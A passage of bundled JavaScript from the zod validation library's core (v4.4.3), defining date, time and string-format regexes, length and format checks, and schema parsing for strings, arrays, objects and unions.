/^\\+[1-9]\\d{6,14}$/;\nconst dateSource = `(?:(?:\\\\d\\\\d[2468][048]|\\\\d\\\\d[13579][26]|\\\\d\\\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\\\d|30)|(?:02)-(?:0[1-9]|1\\\\d|2[0-8])))`;\nconst date$1 = /*@__PURE__*/ new RegExp(`^${dateSource}$`);\nfunction timeSource(args) {\n const hhmm = `(?:[01]\\\\d|2[0-3]):[0-5]\\\\d`;\n return typeof args.precision === \"number\" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\\\d` : `${hhmm}:[0-5]\\\\d\\\\.\\\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\\\d(?:\\\\.\\\\d+)?)?`;\n}\nfunction time$1(args) {\n return new RegExp(`^${timeSource(args)}$`);\n}\nfunction datetime$1(args) {\n const time = timeSource({ precision: args.precision });\n const opts = [\"Z\"];\n if (args.local) opts.push(\"\");\n if (args.offset) opts.push(`([+-](?:[01]\\\\d|2[0-3]):[0-5]\\\\d)`);\n const timeRegex = `${time}(?:${opts.join(\"|\")})`;\n return new RegExp(`^${dateSource}T(?:${timeRegex})$`);\n}\nconst string$1 = (params) => {\n const regex = params ? `[\\\\s\\\\S]{${params?.minimum ?? 0},${params?.maximum ?? \"\"}}` : `[\\\\s\\\\S]*`;\n return new RegExp(`^${regex}$`);\n};\nconst number = /^-?\\d+(?:\\.\\d+)?$/;\nconst lowercase = /^[^A-Z]*$/;\nconst uppercase = /^[^a-z]*$/;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js\nconst $ZodCheck = /*@__PURE__*/ $constructor(\"$ZodCheck\", (inst, def) => {\n var _a;\n inst._zod ?? (inst._zod = {});\n inst._zod.def = def;\n (_a = inst._zod).onattach ?? (_a.onattach = []);\n});\nconst $ZodCheckMaxLength = /*@__PURE__*/ $constructor(\"$ZodCheckMaxLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.maximum ?? Number.POSITIVE_INFINITY;\n if (def.maximum < curr) inst._zod.bag.maximum = def.maximum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length <= def.maximum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_big\",\n maximum: def.maximum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckMinLength = /*@__PURE__*/ $constructor(\"$ZodCheckMinLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.minimum ?? Number.NEGATIVE_INFINITY;\n if (def.minimum > curr) inst._zod.bag.minimum = def.minimum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length >= def.minimum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_small\",\n minimum: def.minimum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLengthEquals = /*@__PURE__*/ $constructor(\"$ZodCheckLengthEquals\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.minimum = def.length;\n bag.maximum = def.length;\n bag.length = def.length;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n const length = input.length;\n if (length === def.length) return;\n const origin = getLengthableOrigin(input);\n const tooBig = length > def.length;\n payload.issues.push({\n origin,\n ...tooBig ? {\n code: \"too_big\",\n maximum: def.length\n } : {\n code: \"too_small\",\n minimum: def.length\n },\n inclusive: true,\n exact: true,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStringFormat = /*@__PURE__*/ $constructor(\"$ZodCheckStringFormat\", (inst, def) => {\n var _a, _b;\n $ZodCheck.init(inst, def);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.format = def.format;\n if (def.pattern) {\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(def.pattern);\n }\n });\n if (def.pattern) (_a = inst._zod).check ?? (_a.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: def.format,\n input: payload.value,\n ...def.pattern ? { pattern: def.pattern.toString() } : {},\n inst,\n continue: !def.abort\n });\n });\n else (_b = inst._zod).check ?? (_b.check = () => {});\n});\nconst $ZodCheckRegex = /*@__PURE__*/ $constructor(\"$ZodCheckRegex\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"regex\",\n input: payload.value,\n pattern: def.pattern.toString(),\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLowerCase = /*@__PURE__*/ $constructor(\"$ZodCheckLowerCase\", (inst, def) => {\n def.pattern ?? (def.pattern = lowercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckUpperCase = /*@__PURE__*/ $constructor(\"$ZodCheckUpperCase\", (inst, def) => {\n def.pattern ?? (def.pattern = uppercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckIncludes = /*@__PURE__*/ $constructor(\"$ZodCheckIncludes\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const escapedRegex = escapeRegex(def.includes);\n const pattern = new RegExp(typeof def.position === \"number\" ? `^.{${def.position}}${escapedRegex}` : escapedRegex);\n def.pattern = pattern;\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.includes(def.includes, def.position)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"includes\",\n includes: def.includes,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStartsWith = /*@__PURE__*/ $constructor(\"$ZodCheckStartsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.startsWith(def.prefix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"starts_with\",\n prefix: def.prefix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckEndsWith = /*@__PURE__*/ $constructor(\"$ZodCheckEndsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.endsWith(def.suffix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"ends_with\",\n suffix: def.suffix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckOverwrite = /*@__PURE__*/ $constructor(\"$ZodCheckOverwrite\", (inst, def) => {\n $ZodCheck.init(inst, def);\n inst._zod.check = (payload) => {\n payload.value = def.tx(payload.value);\n };\n});\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js\nvar Doc = class {\n constructor(args = []) {\n this.content = [];\n this.indent = 0;\n if (this) this.args = args;\n }\n indented(fn) {\n this.indent += 1;\n fn(this);\n this.indent -= 1;\n }\n write(arg) {\n if (typeof arg === \"function\") {\n arg(this, { execution: \"sync\" });\n arg(this, { execution: \"async\" });\n return;\n }\n const lines = arg.split(\"\\n\").filter((x) => x);\n const minIndent = Math.min(...lines.map((x) => x.length - x.trimStart().length));\n const dedented = lines.map((x) => x.slice(minIndent)).map((x) => \" \".repeat(this.indent * 2) + x);\n for (const line of dedented) this.content.push(line);\n }\n compile() {\n const F = Function;\n const args = this?.args;\n const lines = [...(this?.content ?? [``]).map((x) => ` ${x}`)];\n return new F(...args, lines.join(\"\\n\"));\n }\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js\nconst version = {\n major: 4,\n minor: 4,\n patch: 3\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js\nconst $ZodType = /*@__PURE__*/ $constructor(\"$ZodType\", (inst, def) => {\n var _a;\n inst ?? (inst = {});\n inst._zod.def = def;\n inst._zod.bag = inst._zod.bag || {};\n inst._zod.version = version;\n const checks = [...inst._zod.def.checks ?? []];\n if (inst._zod.traits.has(\"$ZodCheck\")) checks.unshift(inst);\n for (const ch of checks) for (const fn of ch._zod.onattach) fn(inst);\n if (checks.length === 0) {\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n inst._zod.deferred?.push(() => {\n inst._zod.run = inst._zod.parse;\n });\n } else {\n const runChecks = (payload, checks, ctx) => {\n let isAborted = aborted(payload);\n let asyncResult;\n for (const ch of checks) {\n if (ch._zod.def.when) {\n if (explicitlyAborted(payload)) continue;\n if (!ch._zod.def.when(payload)) continue;\n } else if (isAborted) continue;\n const currLen = payload.issues.length;\n const _ = ch._zod.check(payload);\n if (_ instanceof Promise && ctx?.async === false) throw new $ZodAsyncError();\n if (asyncResult || _ instanceof Promise) asyncResult = (asyncResult ?? Promise.resolve()).then(async () => {\n await _;\n if (payload.issues.length === currLen) return;\n if (!isAborted) isAborted = aborted(payload, currLen);\n });\n else {\n if (payload.issues.length === currLen) continue;\n if (!isAborted) isAborted = aborted(payload, currLen);\n }\n }\n if (asyncResult) return asyncResult.then(() => {\n return payload;\n });\n return payload;\n };\n const handleCanaryResult = (canary, payload, ctx) => {\n if (aborted(canary)) {\n canary.aborted = true;\n return canary;\n }\n const checkResult = runChecks(payload, checks, ctx);\n if (checkResult instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return checkResult.then((checkResult) => inst._zod.parse(checkResult, ctx));\n }\n return inst._zod.parse(checkResult, ctx);\n };\n inst._zod.run = (payload, ctx) => {\n if (ctx.skipChecks) return inst._zod.parse(payload, ctx);\n if (ctx.direction === \"backward\") {\n const canary = inst._zod.parse({\n value: payload.value,\n issues: []\n }, {\n ...ctx,\n skipChecks: true\n });\n if (canary instanceof Promise) return canary.then((canary) => {\n return handleCanaryResult(canary, payload, ctx);\n });\n return handleCanaryResult(canary, payload, ctx);\n }\n const result = inst._zod.parse(payload, ctx);\n if (result instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return result.then((result) => runChecks(result, checks, ctx));\n }\n return runChecks(result, checks, ctx);\n };\n }\n defineLazy(inst, \"~standard\", () => ({\n validate: (value) => {\n try {\n const r = safeParse$1(inst, value);\n return r.success ? { value: r.data } : { issues: r.error?.issues };\n } catch (_) {\n return safeParseAsync$1(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues });\n }\n },\n vendor: \"zod\",\n version: 1\n }));\n});\nconst $ZodString = /*@__PURE__*/ $constructor(\"$ZodString\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string$1(inst._zod.bag);\n inst._zod.parse = (payload, _) => {\n if (def.coerce) try {\n payload.value = String(payload.value);\n } catch (_) {}\n if (typeof payload.value === \"string\") return payload;\n payload.issues.push({\n expected: \"string\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nconst $ZodStringFormat = /*@__PURE__*/ $constructor(\"$ZodStringFormat\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n $ZodString.init(inst, def);\n});\nconst $ZodGUID = /*@__PURE__*/ $constructor(\"$ZodGUID\", (inst, def) => {\n def.pattern ?? (def.pattern = guid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodUUID = /*@__PURE__*/ $constructor(\"$ZodUUID\", (inst, def) => {\n if (def.version) {\n const v = {\n v1: 1,\n v2: 2,\n v3: 3,\n v4: 4,\n v5: 5,\n v6: 6,\n v7: 7,\n v8: 8\n }[def.version];\n if (v === void 0) throw new Error(`Invalid UUID version: \"${def.version}\"`);\n def.pattern ?? (def.pattern = uuid(v));\n } else def.pattern ?? (def.pattern = uuid());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodEmail = /*@__PURE__*/ $constructor(\"$ZodEmail\", (inst, def) => {\n def.pattern ?? (def.pattern = email);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodURL = /*@__PURE__*/ $constructor(\"$ZodURL\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n try {\n const trimmed = payload.value.trim();\n if (!def.normalize && def.protocol?.source === httpProtocol.source) {\n if (!/^https?:\\/\\//i.test(trimmed)) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid URL format\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n return;\n }\n }\n const url = new URL(trimmed);\n if (def.hostname) {\n def.hostname.lastIndex = 0;\n if (!def.hostname.test(url.hostname)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid hostname\",\n pattern: def.hostname.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.protocol) {\n def.protocol.lastIndex = 0;\n if (!def.protocol.test(url.protocol.endsWith(\":\") ? url.protocol.slice(0, -1) : url.protocol)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid protocol\",\n pattern: def.protocol.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.normalize) payload.value = url.href;\n else payload.value = trimmed;\n return;\n } catch (_) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodEmoji = /*@__PURE__*/ $constructor(\"$ZodEmoji\", (inst, def) => {\n def.pattern ?? (def.pattern = emoji());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodNanoID = /*@__PURE__*/ $constructor(\"$ZodNanoID\", (inst, def) => {\n def.pattern ?? (def.pattern = nanoid);\n $ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link $ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst $ZodCUID = /*@__PURE__*/ $constructor(\"$ZodCUID\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCUID2 = /*@__PURE__*/ $constructor(\"$ZodCUID2\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid2);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodULID = /*@__PURE__*/ $constructor(\"$ZodULID\", (inst, def) => {\n def.pattern ?? (def.pattern = ulid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodXID = /*@__PURE__*/ $constructor(\"$ZodXID\", (inst, def) => {\n def.pattern ?? (def.pattern = xid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodKSUID = /*@__PURE__*/ $constructor(\"$ZodKSUID\", (inst, def) => {\n def.pattern ?? (def.pattern = ksuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODateTime = /*@__PURE__*/ $constructor(\"$ZodISODateTime\", (inst, def) => {\n def.pattern ?? (def.pattern = datetime$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODate = /*@__PURE__*/ $constructor(\"$ZodISODate\", (inst, def) => {\n def.pattern ?? (def.pattern = date$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISOTime = /*@__PURE__*/ $constructor(\"$ZodISOTime\", (inst, def) => {\n def.pattern ?? (def.pattern = time$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODuration = /*@__PURE__*/ $constructor(\"$ZodISODuration\", (inst, def) => {\n def.pattern ?? (def.pattern = duration$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodIPv4 = /*@__PURE__*/ $constructor(\"$ZodIPv4\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv4);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv4`;\n});\nconst $ZodIPv6 = /*@__PURE__*/ $constructor(\"$ZodIPv6\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv6`;\n inst._zod.check = (payload) => {\n try {\n new URL(`http://[${payload.value}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"ipv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodCIDRv4 = /*@__PURE__*/ $constructor(\"$ZodCIDRv4\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv4);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCIDRv6 = /*@__PURE__*/ $constructor(\"$ZodCIDRv6\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n const parts = payload.value.split(\"/\");\n try {\n if (parts.length !== 2) throw new Error();\n const [address, prefix] = parts;\n if (!prefix) throw new Error();\n const prefixNum = Number(prefix);\n if (`${prefixNum}` !== prefix) throw new Error();\n if (prefixNum < 0 || prefixNum > 128) throw new Error();\n new URL(`http://[${address}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"cidrv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nfunction isValidBase64(data) {\n if (data === \"\") return true;\n if (/\\s/.test(data)) return false;\n if (data.length % 4 !== 0) return false;\n try {\n atob(data);\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodBase64 = /*@__PURE__*/ $constructor(\"$ZodBase64\", (inst, def) => {\n def.pattern ?? (def.pattern = base64);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64\";\n inst._zod.check = (payload) => {\n if (isValidBase64(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nfunction isValidBase64URL(data) {\n if (!base64url.test(data)) return false;\n const base64 = data.replace(/[-_]/g, (c) => c === \"-\" ? \"+\" : \"/\");\n return isValidBase64(base64.padEnd(Math.ceil(base64.length / 4) * 4, \"=\"));\n}\nconst $ZodBase64URL = /*@__PURE__*/ $constructor(\"$ZodBase64URL\", (inst, def) => {\n def.pattern ?? (def.pattern = base64url);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64url\";\n inst._zod.check = (payload) => {\n if (isValidBase64URL(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodE164 = /*@__PURE__*/ $constructor(\"$ZodE164\", (inst, def) => {\n def.pattern ?? (def.pattern = e164);\n $ZodStringFormat.init(inst, def);\n});\nfunction isValidJWT(token, algorithm = null) {\n try {\n const tokensParts = token.split(\".\");\n if (tokensParts.length !== 3) return false;\n const [header] = tokensParts;\n if (!header) return false;\n const parsedHeader = JSON.parse(atob(header));\n if (\"typ\" in parsedHeader && parsedHeader?.typ !== \"JWT\") return false;\n if (!parsedHeader.alg) return false;\n if (algorithm && (!(\"alg\" in parsedHeader) || parsedHeader.alg !== algorithm)) return false;\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodJWT = /*@__PURE__*/ $constructor(\"$ZodJWT\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n if (isValidJWT(payload.value, def.alg)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"jwt\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodUnknown = /*@__PURE__*/ $constructor(\"$ZodUnknown\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload) => payload;\n});\nconst $ZodNever = /*@__PURE__*/ $constructor(\"$ZodNever\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _ctx) => {\n payload.issues.push({\n expected: \"never\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nfunction handleArrayResult(result, final, index) {\n if (result.issues.length) final.issues.push(...prefixIssues(index, result.issues));\n final.value[index] = result.value;\n}\nconst $ZodArray = /*@__PURE__*/ $constructor(\"$ZodArray\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!Array.isArray(input)) {\n payload.issues.push({\n expected: \"array\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = Array(input.length);\n const proms = [];\n for (let i = 0; i < input.length; i++) {\n const item = input[i];\n const result = def.element._zod.run({\n value: item,\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => handleArrayResult(result, payload, i)));\n else handleArrayResult(result, payload, i);\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nfunction handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) {\n const isPresent = key in input;\n if (result.issues.length) {\n if (isOptionalIn && isOptionalOut && !isPresent) return;\n final.issues.push(...prefixIssues(key, result.issues));\n }\n if (!isPresent && !isOptionalIn) {\n if (!result.issues.length) final.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: void 0,\n path: [key]\n });\n return;\n }\n if (result.value === void 0) {\n if (isPresent) final.value[key] = void 0;\n } else final.value[key] = result.value;\n}\nfunction normalizeDef(def) {\n const keys = Object.keys(def.shape);\n for (const k of keys) if (!def.shape?.[k]?._zod?.traits?.has(\"$ZodType\")) throw new Error(`Invalid element at key \"${k}\": expected a Zod schema`);\n const okeys = optionalKeys(def.shape);\n return {\n ...def,\n keys,\n keySet: new Set(keys),\n numKeys: keys.length,\n optionalKeys: new Set(okeys)\n };\n}\nfunction handleCatchall(proms, input, payload, ctx, def, inst) {\n const unrecognized = [];\n const keySet = def.keySet;\n const _catchall = def.catchall._zod;\n const t = _catchall.def.type;\n const isOptionalIn = _catchall.optin === \"optional\";\n const isOptionalOut = _catchall.optout === \"optional\";\n for (const key in input) {\n if (key === \"__proto__\") continue;\n if (keySet.has(key)) continue;\n if (t === \"never\") {\n unrecognized.push(key);\n continue;\n }\n const r = _catchall.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (unrecognized.length) payload.issues.push({\n code: \"unrecognized_keys\",\n keys: unrecognized,\n input,\n inst\n });\n if (!proms.length) return payload;\n return Promise.all(proms).then(() => {\n return payload;\n });\n}\nconst $ZodObject = /*@__PURE__*/ $constructor(\"$ZodObject\", (inst, def) => {\n $ZodType.init(inst, def);\n if (!Object.getOwnPropertyDescriptor(def, \"shape\")?.get) {\n const sh = def.shape;\n Object.defineProperty(def, \"shape\", { get: () => {\n const newSh = { ...sh };\n Object.defineProperty(def, \"shape\", { value: newSh });\n return newSh;\n } });\n }\n const _normalized = cached(() => normalizeDef(def));\n defineLazy(inst._zod, \"propValues\", () => {\n const shape = def.shape;\n const propValues = {};\n for (const key in shape) {\n const field = shape[key]._zod;\n if (field.values) {\n propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set());\n for (const v of field.values) propValues[key].add(v);\n }\n }\n return propValues;\n });\n const isObject$2 = isObject;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$2(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = {};\n const proms = [];\n const shape = value.shape;\n for (const key of value.keys) {\n const el = shape[key];\n const isOptionalIn = el._zod.optin === \"optional\";\n const isOptionalOut = el._zod.optout === \"optional\";\n const r = el._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (!catchall) return proms.length ? Promise.all(proms).then(() => payload) : payload;\n return handleCatchall(proms, input, payload, ctx, _normalized.value, inst);\n };\n});\nconst $ZodObjectJIT = /*@__PURE__*/ $constructor(\"$ZodObjectJIT\", (inst, def) => {\n $ZodObject.init(inst, def);\n const superParse = inst._zod.parse;\n const _normalized = cached(() => normalizeDef(def));\n const generateFastpass = (shape) => {\n const doc = new Doc([\n \"shape\",\n \"payload\",\n \"ctx\"\n ]);\n const normalized = _normalized.value;\n const parseStr = (key) => {\n const k = esc(key);\n return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`;\n };\n doc.write(`const input = payload.value;`);\n const ids = Object.create(null);\n let counter = 0;\n for (const key of normalized.keys) ids[key] = `key_${counter++}`;\n doc.write(`const newResult = {};`);\n for (const key of normalized.keys) {\n const id = ids[key];\n const k = esc(key);\n const schema = shape[key];\n const isOptionalIn = schema?._zod?.optin === \"optional\";\n const isOptionalOut = schema?._zod?.optout === \"optional\";\n doc.write(`const ${id} = ${parseStr(key)};`);\n if (isOptionalIn && isOptionalOut) doc.write(`\n if (${id}.issues.length) {\n if (${k} in input) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n else if (!isOptionalIn) doc.write(`\n const ${id}_present = ${k} in input;\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n if (!${id}_present && !${id}.issues.length) {\n payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: undefined,\n path: [${k}]\n });\n }\n\n if (${id}_present) {\n if (${id}.value === undefined) {\n newResult[${k}] = undefined;\n } else {\n newResult[${k}] = ${id}.value;\n }\n }\n\n `);\n else doc.write(`\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n }\n doc.write(`payload.value = newResult;`);\n doc.write(`return payload;`);\n const fn = doc.compile();\n return (payload, ctx) => fn(shape, payload, ctx);\n };\n let fastpass;\n const isObject$1 = isObject;\n const jit = !globalConfig.jitless;\n const allowsEval$1 = allowsEval;\n const fastEnabled = jit && allowsEval$1.value;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$1(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n if (jit && fastEnabled && ctx?.async === false && ctx.jitless !== true) {\n if (!fastpass) fastpass = generateFastpass(def.shape);\n payload = fastpass(payload, ctx);\n if (!catchall) return payload;\n return handleCatchall([], input, payload, ctx, value, inst);\n }\n return superParse(payload, ctx);\n };\n});\nfunction handleUnionResults(results, final, inst, ctx) {\n for (const result of results) if (result.issues.length === 0) {\n final.value = result.value;\n return final;\n }\n const nonaborted = results.filter((r) => !aborted(r));\n if (nonaborted.length === 1) {\n final.value = nonaborted[0].value;\n return nonaborted[0];\n }\n final.issues.push({\n code: \"invalid_union\",\n input: final.value,\n inst,\n errors: results.map((result) => result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n });\n return final;\n}\nconst $ZodUnion = /*@__PURE__*/ $constructor(\"$ZodUnion\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.options.some((o) => o._zod.optin === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"optout\", () => def.options.some((o) => o._zod.optout === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"values\", () => {\n if (def.options.every((o) => o._zod.values)) return new Set(def.options.flatMap((option) => Array.from(option._zod.values)));\n });\n defineLazy(inst._zod, \"pattern\", () => {\n if (def.options.every((o) => o._zod.pattern)) {\n const patterns = def.options.map((o) 